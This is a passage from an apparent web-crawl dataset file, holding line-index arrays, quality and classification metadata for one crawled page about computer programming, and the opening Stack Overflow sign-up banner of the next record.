3398,
3399,
3746,
3747,
3816,
3817,
4242,
4243,
4538,
4539,
4772,
4773,
4790,
4791,
4804,
4805,
4874,
4875,
4876,
4888,
4889,
4919,
4920,
4937,
4938,
4939,
4989,
4990,
5047,
5048,
5479,
5480,
5501,
5502,
5519,
5520,
5550,
5551,
5600,
5601,
5961,
5962,
5983,
5984,
6001,
6002,
6033,
6034,
6086,
6087,
6548,
6549,
6570,
6571,
6597,
6598
],
"line_end_idx": [
76,
77,
164,
165,
432,
433,
463,
464,
892,
893,
1108,
1109,
1170,
1171,
1483,
1484,
1508,
1509,
1663,
1970,
2113,
2188,
2249,
2499,
2614,
2615,
2635,
2636,
2813,
2814,
3035,
3036,
3362,
3363,
3398,
3399,
3746,
3747,
3816,
3817,
4242,
4243,
4538,
4539,
4772,
4773,
4790,
4791,
4804,
4805,
4874,
4875,
4876,
4888,
4889,
4919,
4920,
4937,
4938,
4939,
4989,
4990,
5047,
5048,
5479,
5480,
5501,
5502,
5519,
5520,
5550,
5551,
5600,
5601,
5961,
5962,
5983,
5984,
6001,
6002,
6033,
6034,
6086,
6087,
6548,
6549,
6570,
6571,
6597,
6598,
6628
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6628,
"ccnet_original_nlines": 90,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3884103298187256,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.021143300458788872,
"rps_doc_frac_lines_end_with_ellipsis": 0.03296703100204468,
"rps_doc_frac_no_alph_words": 0.14408771693706512,
"rps_doc_frac_unique_words": 0.43018868565559387,
"rps_doc_mean_word_length": 5.029245376586914,
"rps_doc_num_sentences": 63,
"rps_doc_symbol_to_word_ratio": 0.0023492600303143263,
"rps_doc_unigram_entropy": 5.509720325469971,
"rps_doc_word_count": 1060,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009003940038383007,
"rps_doc_frac_chars_top_3gram": 0.012192830443382263,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -572.8405151367188,
"rps_doc_books_importance_length_correction": -572.8405151367188,
"rps_doc_openwebtext_importance": -331.2322692871094,
"rps_doc_openwebtext_importance_length_correction": -331.2322692871094,
"rps_doc_wikipedia_importance": -242.35728454589844,
"rps_doc_wikipedia_importance_length_correction": -242.35728454589844
},
"fasttext": {
"dclm": 0.05696946009993553,
"english": 0.9331503510475159,
"fineweb_edu_approx": 1.8059896230697632,
"eai_general_math": 0.04394054040312767,
"eai_open_web_math": 0.10945916175842285,
"eai_web_code": 0.06493669748306274
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "6",
"label": "Promotional/Advertisement"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "17",
"label": "Product Page"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,336,496,459,262,782,000 | Streaming live at 10am (PST)
301 Redirects for Complete URLs
I need to use 301 redirects to move links from “www.oldurl.com” (old URL) to “www.newurl.com” (new URL). Can this be done in Webflow? Are there any plugins that would work like Simple 301 Redirects?
Thanks!
Hi @bmatty
No need for 301 redirects if you’re just needing to redirect an old custom domain name to a new one, just put your old and new custom domains in your domains list in Webflow.
Then set your default domain:
hope this helps. :slight_smile:
Awesome! I don’t know why I didn’t think of that…
And if I need to redirect www.olddomain.com/oldpageurl/ to www.newdomain.com/newpageurl/, I can just do that the same way as if it were the same domain with the 301 redirects feature in Webflow?
And if I need to redirect www.olddomain.com/oldpageurl/ to www.newdomain.com/newpageurl/, I can just do that the same way as if it were the same domain with the 301 redirects feature in Webflow?
Yes
This topic was automatically closed after 60 days. New replies are no longer allowed. | {
"url": "https://discourse.webflow.com/t/301-redirects-for-complete-urls/45514",
"source_domain": "discourse.webflow.com",
"snapshot_id": "crawl=CC-MAIN-2021-31",
"warc_metadata": {
"Content-Length": "29457",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:62ZAH75FIGPRMYX6ZIRNSK3JKTUAD2OZ",
"WARC-Concurrent-To": "<urn:uuid:27ced6e9-feb6-4cb3-9359-5d17568800e5>",
"WARC-Date": "2021-07-26T18:01:29Z",
"WARC-IP-Address": "72.52.80.20",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:PSYG5SRKOA6JZ4FMA2CM2MIS45X5LECK",
"WARC-Record-ID": "<urn:uuid:bb4d8e8f-773e-4a22-bf59-9611617d1323>",
"WARC-Target-URI": "https://discourse.webflow.com/t/301-redirects-for-complete-urls/45514",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d32e2b15-50c4-4688-ad8e-0cef13ef4d09>"
},
"warc_info": "isPartOf: CC-MAIN-2021-31\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July/August 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-139.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
29,
30,
62,
63,
262,
263,
271,
272,
283,
284,
459,
460,
490,
491,
523,
524,
574,
575,
770,
771,
966,
967,
971,
972
],
"line_end_idx": [
29,
30,
62,
63,
262,
263,
271,
272,
283,
284,
459,
460,
490,
491,
523,
524,
574,
575,
770,
771,
966,
967,
971,
972,
1057
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1057,
"ccnet_original_nlines": 24,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.40816327929496765,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.040816329419612885,
"rps_doc_frac_lines_end_with_ellipsis": 0.03999999910593033,
"rps_doc_frac_no_alph_words": 0.22857142984867096,
"rps_doc_frac_unique_words": 0.5254237055778503,
"rps_doc_mean_word_length": 4.655367374420166,
"rps_doc_num_sentences": 23,
"rps_doc_symbol_to_word_ratio": 0.004081630147993565,
"rps_doc_unigram_entropy": 4.278529644012451,
"rps_doc_word_count": 177,
"rps_doc_frac_chars_dupe_10grams": 0.37378641963005066,
"rps_doc_frac_chars_dupe_5grams": 0.37378641963005066,
"rps_doc_frac_chars_dupe_6grams": 0.37378641963005066,
"rps_doc_frac_chars_dupe_7grams": 0.37378641963005066,
"rps_doc_frac_chars_dupe_8grams": 0.37378641963005066,
"rps_doc_frac_chars_dupe_9grams": 0.37378641963005066,
"rps_doc_frac_chars_top_2gram": 0.08737864345312119,
"rps_doc_frac_chars_top_3gram": 0.025485439226031303,
"rps_doc_frac_chars_top_4gram": 0.02427184022963047,
"rps_doc_books_importance": -78.03361511230469,
"rps_doc_books_importance_length_correction": -78.03361511230469,
"rps_doc_openwebtext_importance": -50.628849029541016,
"rps_doc_openwebtext_importance_length_correction": -38.394996643066406,
"rps_doc_wikipedia_importance": -36.0037727355957,
"rps_doc_wikipedia_importance_length_correction": -36.0037727355957
},
"fasttext": {
"dclm": 0.030779840424656868,
"english": 0.9052143692970276,
"fineweb_edu_approx": 1.109071135520935,
"eai_general_math": 0.4825330376625061,
"eai_open_web_math": 0.12045621871948242,
"eai_web_code": 0.014593900181353092
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,685,452,570,350,978,000 | TFMSX
Page 2/2
1 |
By PingPong
Prophet (3889)
PingPong's picture
26-10-2021, 20:03
would be good if they will connect the VDP WAIT pin in order to get the maximum datarate without the usual sloppy workaround to clock z80 @3.58Mhz.
By ArkadiuszMakarenko
Supporter (14)
ArkadiuszMakarenko's picture
26-10-2021, 22:59
I might be wrong, but I think goals of this project are simply to recreate msx2, and allow cheaper alternatives to orginal MSX2 without use of fpga?
I don't think improvements are considered?
By ArkadiuszMakarenko
Supporter (14)
ArkadiuszMakarenko's picture
27-10-2021, 18:47
By PingPong
Prophet (3889)
PingPong's picture
27-10-2021, 21:18
For improvements i'm thinking a faster clock.
Back in the days a lot of workaround were tried to synchronize z80 vdp . a lot of these were sloppy. The worst case is the delay that is inflicted to the R800, while the correct way to handle this is the v9958 wait signal that allow async processing and maximum performances based on the vdp working status.
Considering that the v9958 is used here and maybe could be sourced easily than v9938 i think that a simple connection between two pins is not a big improvement. If i'm not wrong the omega msx did it already
By karloch
Prophet (2157)
karloch's picture
31-10-2021, 10:40
If I recall correctly from the forum thread, the TFMSX is not implementing 12v on the slots, maybe he can get some advice on how to get it Smile
From https://www.exxoshost.co.uk/forum/viewtopic.php?f=65&t=4057
Quote:
Remaining unknowns..
1. Do carts really need +12V and -12v and if so how to get those out nicely off a 5V supply. (probably not)
2. Are there any hobby cases that would be worth looking into supporting/fitting into.
Page 2/2
1 | | {
"url": "https://es.msx.org/forum/msx-talk/hardware/tfmsx?page=1",
"source_domain": "es.msx.org",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "22891",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PEN3XPTGXMRISE6DXTL336H7X53X4Y5X",
"WARC-Concurrent-To": "<urn:uuid:f1b7a812-9065-49ea-8b34-4eff5d022511>",
"WARC-Date": "2022-07-03T03:32:03Z",
"WARC-IP-Address": "159.69.251.84",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:NK63IAAV3QGEY5QXQNVGGXI5EOAV7LR5",
"WARC-Record-ID": "<urn:uuid:3236f1f6-f6ce-44c3-813f-e14ba2588b64>",
"WARC-Target-URI": "https://es.msx.org/forum/msx-talk/hardware/tfmsx?page=1",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:94fd5098-a2ac-44f3-8c12-5fdd6b6621b3>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-153\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
6,
7,
16,
20,
21,
33,
34,
49,
50,
69,
70,
88,
89,
237,
238,
260,
261,
276,
277,
306,
307,
325,
326,
475,
518,
519,
541,
542,
557,
558,
587,
588,
606,
607,
619,
620,
635,
636,
655,
656,
674,
675,
721,
1029,
1030,
1237,
1238,
1249,
1250,
1265,
1266,
1284,
1285,
1303,
1304,
1449,
1450,
1515,
1516,
1523,
1524,
1545,
1546,
1654,
1741,
1742,
1751
],
"line_end_idx": [
6,
7,
16,
20,
21,
33,
34,
49,
50,
69,
70,
88,
89,
237,
238,
260,
261,
276,
277,
306,
307,
325,
326,
475,
518,
519,
541,
542,
557,
558,
587,
588,
606,
607,
619,
620,
635,
636,
655,
656,
674,
675,
721,
1029,
1030,
1237,
1238,
1249,
1250,
1265,
1266,
1284,
1285,
1303,
1304,
1449,
1450,
1515,
1516,
1523,
1524,
1545,
1546,
1654,
1741,
1742,
1751,
1754
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1754,
"ccnet_original_nlines": 67,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.34170854091644287,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.030150750651955605,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.30150753259658813,
"rps_doc_frac_unique_words": 0.5871886014938354,
"rps_doc_mean_word_length": 4.832740306854248,
"rps_doc_num_sentences": 20,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.850276947021484,
"rps_doc_word_count": 281,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.138438880443573,
"rps_doc_frac_chars_dupe_6grams": 0.138438880443573,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.011045659892261028,
"rps_doc_frac_chars_top_3gram": 0.010309279896318913,
"rps_doc_frac_chars_top_4gram": 0.030927840620279312,
"rps_doc_books_importance": -169.4452362060547,
"rps_doc_books_importance_length_correction": -160.69985961914062,
"rps_doc_openwebtext_importance": -87.92448425292969,
"rps_doc_openwebtext_importance_length_correction": -87.92448425292969,
"rps_doc_wikipedia_importance": -61.15085983276367,
"rps_doc_wikipedia_importance_length_correction": -56.78890609741211
},
"fasttext": {
"dclm": 0.09064388275146484,
"english": 0.9205644726753235,
"fineweb_edu_approx": 1.7641782760620117,
"eai_general_math": 0.35520386695861816,
"eai_open_web_math": 0.3777703046798706,
"eai_web_code": 0.043038610368967056
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-573,292,741,357,590,340 | Micro Deposits
Microdeposit Verification
While Link Money’s automatic verification works for most use-cases, some users will prefer to manually verify their bank accounts. This guide describes the steps for initiating and verifying a user’s account manually through Microdeposits. For more information on automatic verification, see
. For getting started with the Link Money Gateway, see the
Link Money Quickstart
.
Getting Started
Link Money uses an additional portal called flow to allow developers to initiate and verify microdeposits for users who wish to manually verify their accounts. This guide assumes that you have already followed the Link Money Quickstart Guide.
Following this guide, you will:
1. Initiate a microdeposits verification request.
2. Grab and save the microdeposit ID from the Link Money callback data.
3. Verify a microdeposits request and pull verification data.
What Are Microdeposits?
Microdeposits are a series of three small transactions (2 deposits and one withdrawal) of unspecified amounts that are sent to an account via a user-entered routing and account number pair. To initiate a verification, users must provide the routing and account number of the account they want verified. To complete the verification, the user must enter the correct amounts for each microdeposit that was made to their account. After they have completed these steps, verification data will be available for their account.
1. Open the Gateway with the Microdeposit Flow
To start a micro-deposit verification, you may open the Link Money Gateway as you ordinarily do. You must provide one additional parameter, flow, which must be set to initiateMicroDeposits. This will force the Link Money Gateway to automatically open the Microdeposit verification flow.
let linkMoneyGatewayUri = `https://linkmoney-gateway-dev.fingoal.com/api/authenticate?token={YOUR_TOKEN}&flow=initiateMicroDeposits`;
<iframe src=linkMoneyGatewayUri></iframe>
As the Initiate Microdeposit screen appears, you will be required to enter the Routing Number and Account Number.
image
Once the data is entered, the next screen appears showing that verification has started. As soon as the user hits the close button, the Link Money Gateway will emit the microDepositId, completedFlow and events as a response.
image
2. Capture the Callback Data from the Gateway.
When the user is finished entering their account and routing number into the gateway, Link Money will emit a microDepositId which you must save. This numeric ID will be required to open the gateway during the verification step. We recommend preserving the microDepositId in your datastore, as several days can elapse between the initialization and verification steps in the microdeposit flow.
window.addEventListener('message', function(event) {
if (event.origin !== 'https://linkmoney-gateway-webapp-dev.herokuapp.com') {
return;
}
const messageAsString = String(event.data).replace("event ", "").trim();
const messageAsJson = JSON.parse(messageAsString);
const { events, microDepositId, completedFlow } = messageAsJson;
// preserve the microDepositId
}, false);
3. Allow the User to Commence the Verification Flow
Link Money is not notified when the user’s account has received microdeposits. We recommend re-engaging the user after 3 - 5 days, when the deposits will have certainly dropped into the user’s account. By re-opening the Link Money Gateway with the flow parameter set to verifyMicroDeposits and the microDepositId from step 2, the verification step can be commenced.
let linkMoneyGatewayUri = `https://linkmoney-gateway-dev.fingoal.com/api/authenticate?token={YOUR_TOKEN}&flow=verifyMicroDepositsµDepositId={YOUR_USERS_MICRODEPOSIT_ID}`;
<iframe src=linkMoneyGatewayUri></iframe>
At this point, if the verification is successful, you can pull the verified account data from Link Money API’s Verification Endpoints.
image
image
4. Retrieve the Verified Account
Once the steps above are completed and the user has successfully confirmed their account, you can fetch detailed account data from the Link Money API, including the account number and the routing number of the verified user.
To get detailed verified account data, pass in a providerAccountId query parameter, which corresponds the item_id returned in the events object from the previous step. You will also have to authenticate this request, but you can use the same token you created when opening the linking portal.
Request
const axios = require("axios");
const baseUrl = "https://linkmoney-dev.fingoal.com/v1/yodlee/verification";
const response = await axios.get(`${baseUrl}?providerAccountId=${YOUR_ITEM_ID}`, {
headers: {
Authorization: `Bearer ${YOUR_TOKEN}`
}
);
const { verification } = response;
// process the verification from here.
Responses
Status Code: 200
{
"verification": [
{
"accountId": 22469592,
"verificationDate": "2023-06-16T17:03:41Z",
"verificationType": "CHALLENGE_DEPOSIT",
"account": {
"accountNumber": "<accountNumber>",
"accountType": "<accountType>",
"bankTransferCode": {
"id": "<bankTransferCode/id>",
"type": "ROUTING_NUMBER"
},
"userClassification": "<userClassification>"
},
"verificationStatus": "INITIATED | DEPOSITED | SUCCESS | FAILED",
"providerAccountId": 14283240,
"verificationId": 11309188
}
]
}
Status Code: 400
{
"errorMessage": "string",
"errorCode": "string",
"referenceCode": "string"
}
Sandbox Accounts for Microdeposits Testing
Link Money offers the following account / routing number pairs for testing your application’s microdeposits flow. When the Verify Microdeposits screen appears, the correct deposit amounts will always be 0.05 and 0.15. Keep in mind that it can take at least 5 minutes for the verification step to be ready in the Link Money Gateway.
Account Number
Routing Number
16441
999988181
16442
999761191
18769
999999992
16445
999999921
16446
not applicable
16447
not applicable
16477
999678831
16486
999991181
16487
999998281 | {
"url": "https://docs.fingoal.com/instant-account-verification-iav/micro-deposits",
"source_domain": "docs.fingoal.com",
"snapshot_id": "CC-MAIN-2024-18",
"warc_metadata": {
"Content-Length": "134933",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XUYLIOHJDZ2MVRCCELVFUYSEI4AIWNAX",
"WARC-Concurrent-To": "<urn:uuid:cec902f7-2258-4556-b042-5563b4fdecd4>",
"WARC-Date": "2024-04-15T02:58:36Z",
"WARC-IP-Address": "76.76.21.61",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:O5N3ZJKNXXE4FHXRDXJ4GUHCENJMIG5M",
"WARC-Record-ID": "<urn:uuid:647f3850-01f4-4c33-811d-423e54aa3e0a>",
"WARC-Target-URI": "https://docs.fingoal.com/instant-account-verification-iav/micro-deposits",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b9756c1e-676c-4332-a92e-384dddbc8ee4>"
},
"warc_info": "isPartOf: CC-MAIN-2024-18\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-246\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
15,
16,
42,
43,
335,
336,
395,
417,
419,
420,
436,
437,
680,
681,
713,
714,
766,
840,
904,
905,
929,
930,
1451,
1452,
1499,
1500,
1787,
1788,
1922,
1923,
1966,
1967,
2081,
2082,
2088,
2089,
2314,
2315,
2321,
2322,
2369,
2370,
2763,
2764,
2817,
2897,
2912,
2917,
2992,
3045,
3112,
3145,
3157,
3158,
3210,
3211,
3577,
3578,
3754,
3755,
3798,
3799,
3934,
3935,
3941,
3947,
3948,
3981,
3982,
4207,
4208,
4501,
4502,
4510,
4511,
4543,
4619,
4620,
4703,
4715,
4755,
4758,
4761,
4762,
4798,
4837,
4838,
4848,
4849,
4866,
4867,
4869,
4891,
4901,
4936,
4992,
5045,
5070,
5122,
5170,
5208,
5259,
5304,
5323,
5384,
5399,
5477,
5520,
5559,
5569,
5575,
5577,
5578,
5595,
5596,
5598,
5626,
5651,
5679,
5681,
5682,
5725,
5726,
6058,
6059,
6074,
6089,
6095,
6105,
6111,
6121,
6127,
6137,
6143,
6153,
6159,
6174,
6180,
6195,
6201,
6211,
6217,
6227,
6233
],
"line_end_idx": [
15,
16,
42,
43,
335,
336,
395,
417,
419,
420,
436,
437,
680,
681,
713,
714,
766,
840,
904,
905,
929,
930,
1451,
1452,
1499,
1500,
1787,
1788,
1922,
1923,
1966,
1967,
2081,
2082,
2088,
2089,
2314,
2315,
2321,
2322,
2369,
2370,
2763,
2764,
2817,
2897,
2912,
2917,
2992,
3045,
3112,
3145,
3157,
3158,
3210,
3211,
3577,
3578,
3754,
3755,
3798,
3799,
3934,
3935,
3941,
3947,
3948,
3981,
3982,
4207,
4208,
4501,
4502,
4510,
4511,
4543,
4619,
4620,
4703,
4715,
4755,
4758,
4761,
4762,
4798,
4837,
4838,
4848,
4849,
4866,
4867,
4869,
4891,
4901,
4936,
4992,
5045,
5070,
5122,
5170,
5208,
5259,
5304,
5323,
5384,
5399,
5477,
5520,
5559,
5569,
5575,
5577,
5578,
5595,
5596,
5598,
5626,
5651,
5679,
5681,
5682,
5725,
5726,
6058,
6059,
6074,
6089,
6095,
6105,
6111,
6121,
6127,
6137,
6143,
6153,
6159,
6174,
6180,
6195,
6201,
6211,
6217,
6227,
6233,
6242
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6242,
"ccnet_original_nlines": 144,
"rps_doc_curly_bracket": 0.005286769941449165,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.25680580735206604,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.016333939507603645,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2885662317276001,
"rps_doc_frac_unique_words": 0.3973333239555359,
"rps_doc_mean_word_length": 6.341333389282227,
"rps_doc_num_sentences": 64,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.071516990661621,
"rps_doc_word_count": 750,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.02838519960641861,
"rps_doc_frac_chars_top_3gram": 0.025231290608644485,
"rps_doc_frac_chars_top_4gram": 0.02396971918642521,
"rps_doc_books_importance": -525.1240234375,
"rps_doc_books_importance_length_correction": -525.1240234375,
"rps_doc_openwebtext_importance": -295.2918701171875,
"rps_doc_openwebtext_importance_length_correction": -295.2918701171875,
"rps_doc_wikipedia_importance": -207.3480682373047,
"rps_doc_wikipedia_importance_length_correction": -207.3480682373047
},
"fasttext": {
"dclm": 0.3470860719680786,
"english": 0.7791195511817932,
"fineweb_edu_approx": 1.6998984813690186,
"eai_general_math": 0.20748037099838257,
"eai_open_web_math": 0.15377134084701538,
"eai_web_code": 0.784462571144104
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "382.0285",
"labels": {
"level_1": "Social sciences",
"level_2": "Commerce and Communication and traffic",
"level_3": "International trade"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
4,376,608,526,348,821,000 | Sign up ×
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute:
